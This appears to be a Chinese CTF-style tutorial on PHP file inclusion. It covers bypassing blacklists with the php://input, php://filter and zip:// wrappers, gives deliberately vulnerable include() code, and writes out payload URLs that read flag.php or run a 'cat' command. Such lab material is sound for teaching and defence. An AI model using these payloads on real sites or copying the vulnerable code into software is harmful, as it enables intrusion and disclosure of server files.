文件包含漏洞(1)

devtools/2024/9/23 7:59:15/

目录

PHP伪协议

php://input

Example 1: 造成任意代码执行

Example 2: 文件内容绕过

php://filer

zip://


PHP伪协议

php://input

Example 1: 造成任意代码执行

搭建环境

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
    exit('hacker!');
}
if($file){
    if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中";
    include($file);
}else{
    echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
}
?>

直接点开看看

发现有file,我们的第一想法就是文件包含或者ssrf,由于这里的专题是文件包含,那显然就是文件包含了,接下来分析代码,发现file接受参数,但是过滤了一下伪协议,

但是我们发现并没有过滤php://input,那我们开始拿flag

在这个页面使用bp进行抓包

这样成功拿下flag

Example 2: 文件内容绕过

搭建环境

<?php
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}

分析代码,

当参数$a不为空,且读取的文件中包含’I want flag’时,即可显示$flag。所以可以使用php://input

开始拿flag

依然是使用bp进行抓包

成功拿下flag,其实这种直接显示源码的,我们只需要把源码分析清楚,就差不多思路就清晰了,可以快速地拿下flag。

php://filer

搭建环境

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
    exit('hacker!');
}
if($file){
    include($file);
}else{
    echo '<a href="?file=flag.php">tips</a>';
}
?>

分析代码,发现没有过滤php://filer,使用file进行传参,我们直接拿flag

?file=php://filter/read=convert.base64-encode/resource=flag.php

这是进行base64编码后的flag,我们只需要对其进行解码即可拿到flag

拿下flag

zip://

搭建环境

<?php
error_reporting(0);
$file = $_GET["file"];
if (!$file) echo '<a href="?file=upload">upload?</a>';
if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){
    echo "hick?";
    exit();
}else{
    include($file.".php");
}
?>
<!-- flag在当前目录的某个文件中 -->

//upload.php
<meta charset="utf-8">
<form action="upload.php" method="post" enctype="multipart/form-data" >
     <input type="file" name="fupload" />
     <input type="submit" value="upload!" />
</form>
you can upload jpg,png,zip....<br />
<?php
if( isset( $_FILES['fupload'] ) ) {
    $uploaded_name = $_FILES[ 'fupload' ][ 'name' ];         //文件名
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);   //文件后缀
    $uploaded_size = $_FILES[ 'fupload' ][ 'size' ];         //文件大小
    $uploaded_tmp  = $_FILES[ 'fupload' ][ 'tmp_name' ];     // 存储在服务器的文件的临时副本的名称
    $target_path = "uploads/".md5(uniqid(rand())).".".$uploaded_ext;
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) &&
        ( $uploaded_size < 100000 ) ) {
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No
            echo '<pre>upload error</pre>';
        }
        else {// Yes!
            echo "<pre>".dirname(__FILE__)."\\{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        echo '<pre>you can upload jpg,png,zip....</pre>';
    }
}
 ?>

分析代码,file进行接收传参,同时过滤了这些伪协议

下面这段代码是上传upload的form表单

下面这段这段代码是接收upload的功能

开始拿flag,这一题很明显,没有过滤zip://伪协议,同时它还可以上传文件,拿我们首先创建一个php文件并且对其进行压缩

进行文件上传

文件上传路径中需要把/修改为\,(每个人的路径都不一样,注意用自己的路径)

?file=zip:///home/centos/nginx/html/include/uploads/665908a9ab398f33baa832e6c99d5d24.zip%23web&abc=cat%20flag.php

拿下flag

今天就到这里了。


http://www.ppmy.cn/devtools/100150.html

相关文章

【vue运行报错】无法加载文件 D:\nodejs\node_global\webpack.ps1,因为在此系统上禁止运行脚本。

根据这篇博客安装nodejs和vue&#xff0c;执行webpack -v 和vue -v 报错。 Vue安装与配置教程&#xff08;非常详细&#xff09;从零基础入门到精通&#xff0c;看完这一篇就够了-CSDN博客 【解决方法】 &#xff08;1&#xff09;以管理员身份运行终端/命令提示符&#xff…

python模块05-json

3 请求数据提取&#xff1a;json 3.1 json类型数据 json对象&#xff1a;{key:calue} json数组&#xff1a;[1,2,3,4] 3.2 json模块 1&#xff09; json.loads 把Json格式字符串解码转换成Python对象&#xff08;json数组对应列表&#xff0c;json对象对应字典&#xff09…

002 深入了解路由协议:RIP、OSPF和BGP

引言 路由协议决定了数据包在网络中传输的路径选择&#xff0c;了解这些协议的细节是网络工程师的必修课。本篇博文将通过对比RIP、OSPF和BGP三种协议&#xff0c;帮助你选择最适合你网络环境的方案。 1. 路由协议的分类 IGP&#xff08;内部网关协议&#xff09;&#xff1…

RabbitMQ高级用法

&#x1f4a5; 该系列属于【SpringBoot基础】专栏&#xff0c;如您需查看其他SpringBoot相关文章&#xff0c;请您点击左边的连接 目录 一、发送者的可靠性 1. 生产者重试机制 2. 生产者确认机制【return和confirm机制】 &#xff08;1&#xff09;开启生产者确认 &#x…

c++,python实现网络爬虫

前言&#xff1a; 社交网络中用户生成的海量数据&#xff0c;社交网络数据的多样性和复杂性 如何高效地从海量的数据中获取和处理我们需要的信息资源&#xff1f; 该微博爬虫能够从社交网络平台中地提取文本、图片和用户之间的转发关系&#xff0c;并将这些数据结构化存储到…

Web AI测试WINSCP从windows同步文件到Linux脚本使用案例-测试验证成功

Web AI测试脚本使用案例 提问&#xff1a; windows 使用winscp工具定时传输文件到Linux系统的/tmp目录 回答&#xff1a; option batch abort option confirm off open sftp://username:passwordhostname put "C:\path\to\your\local\file" /tmp/ exitecho off &…

深度学习学习经验——什么是深度学习

什么是深度学习&#xff1f; 深度学习是机器学习的一个子领域&#xff0c;它使用多层神经网络来自动从大量数据中学习和提取特征。深度学习尤其适合处理大规模的数据&#xff0c;如图像、语音和文本等。 基本概念&#xff1a; 神经网络&#xff1a;深度学习模型的核心是神经网…

网络工程师学习笔记——广域网通信

广域网&#xff08;WAN&#xff09; 公共交换电话网 &#xff08;PSTN&#xff09;&#xff08;为了语音通话而建立的&#xff09; 基于电路交换 上20世纪60年代开始用于数据运输 3G基于语音传输的&#xff0c;4G是用于进行数据传输的 电话系统是一个高度冗余的分级网络&am…